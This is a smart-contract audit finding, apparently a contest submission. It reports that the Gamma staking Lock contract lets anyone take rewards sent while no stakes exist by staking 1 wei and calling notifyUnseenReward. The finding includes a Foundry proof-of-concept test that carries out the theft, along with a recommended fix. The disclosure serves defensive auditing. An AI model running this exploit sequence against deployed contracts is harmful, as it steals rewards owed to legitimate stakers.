Gentle Cobalt Wolverine

medium

# Rewards sent to the `Lock` contract when there are no stakes can be stolen by staking `1 wei`

## Summary

There are times when the `Lock` contract has no stakes, yet rewards are sent to it. In these situations, anyone can stake just `1 wei` of staking tokens and claim the total rewards.

## Vulnerability Detail

When there are no stakes in the contract and rewards are sent to it, these rewards are not added to the cumulated rewards for the tokens. Only when someone stakes and calls `Lock::notifyUnseenReward(...)` can the rewards be earned. There are two main scenarios when there might be no stakes in the contract:

1. Immediately after the deployment of the contract, if no one stakes for a few hours.
2. During an emergency, such as an attack, when users withdraw all their stakes. etc

In these situations, if rewards are sent to the contract, a user can stake `1 wei` of gamma staking tokens, immediately call `Lock::notifyUnseenReward(...)`, and claim all the rewards. This user does not need to worry about new stakers, as new stakers cannot earn rewards distributed before they staked. This is ensured by adjusting the `rewardDebt` at the same time as the `rewards` calculation. Both amounts will cancel each other out, preventing rewards from being added for new stakers. New stakers can only earn rewards distributed after they stake:

```solidity
    function _updateReward(address account) internal {
        uint256 length = rewardTokens.length; // Determine the number of reward tokens.
        Balances storage bal = balances[account]; // Access the balance record for the user.

        for (uint256 i = 0; i < length; ) {
            address token = rewardTokens[i]; // Access each token.
            Reward memory rewardInfo = rewardData[token]; // Get the reward data for the token.

@>            rewards[account][token] += _earned(account, token); // Update the rewards for the user based on what has been earned so far.
@>            rewardDebt[account][token] = rewardInfo.cumulatedReward * bal.lockedWithMultiplier; // Update the reward debt based on the latest reward information.

            unchecked {
                i++;
            }
        }
    }
```

GitHub: [[614-629](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/main/StakingV2/src/Lock.sol#L614C1-L629C6)]


## Impact

A user can steal all the rewards without locking a significant amount of tokens.

## Code Snippet

#### PoC:

```solidity
    function test_stake6() public {
        // New rewards were sent to the contract
        vm.prank(deployer);
        _rewardToken.transfer(address(lock), 1000e18);

        // notify Unseen rewards is called after that
        vm.prank(deployer);
        lock.notifyUnseenReward(rewardTokens);

        // since no stake was present, the rewards will not be added to cumulated rewards
        (, uint256 cumulatedReward,) = lock.rewardData(address(_rewardToken));
        assertEq(cumulatedReward, 0);

        // a user saw the new rewards coming and decides to stake only 1 wei of staking token
        vm.prank(user1);
        lock.stake(1, user1, 0);

        // Just after staking he called notifyUnseenReward
        lock.notifyUnseenReward(rewardTokens);

        // cumulated rewards should be updated
        (,cumulatedReward,) = lock.rewardData(address(_rewardToken));
        assertEq(cumulatedReward / 1e36, 1000e18);

        // then at the same time withdraw all rewards
        vm.prank(user1);
        lock.getAllRewards();

        // rewards should be paid
        console2.log("reward token balance: ", _rewardToken.balanceOf(user1));
        assertEq(_rewardToken.balanceOf(user1), 1000e18);
    }
 ```

## Tool used

- Manual Review
- Foundry

## Recommendation

It is recommended to pause the `Lock::notifyUnseenReward(...)` function until a specific amount of tokens has been staked. Additionally, it would be a good idea to implement a minimum stake limit to avoid these types of scenarios.
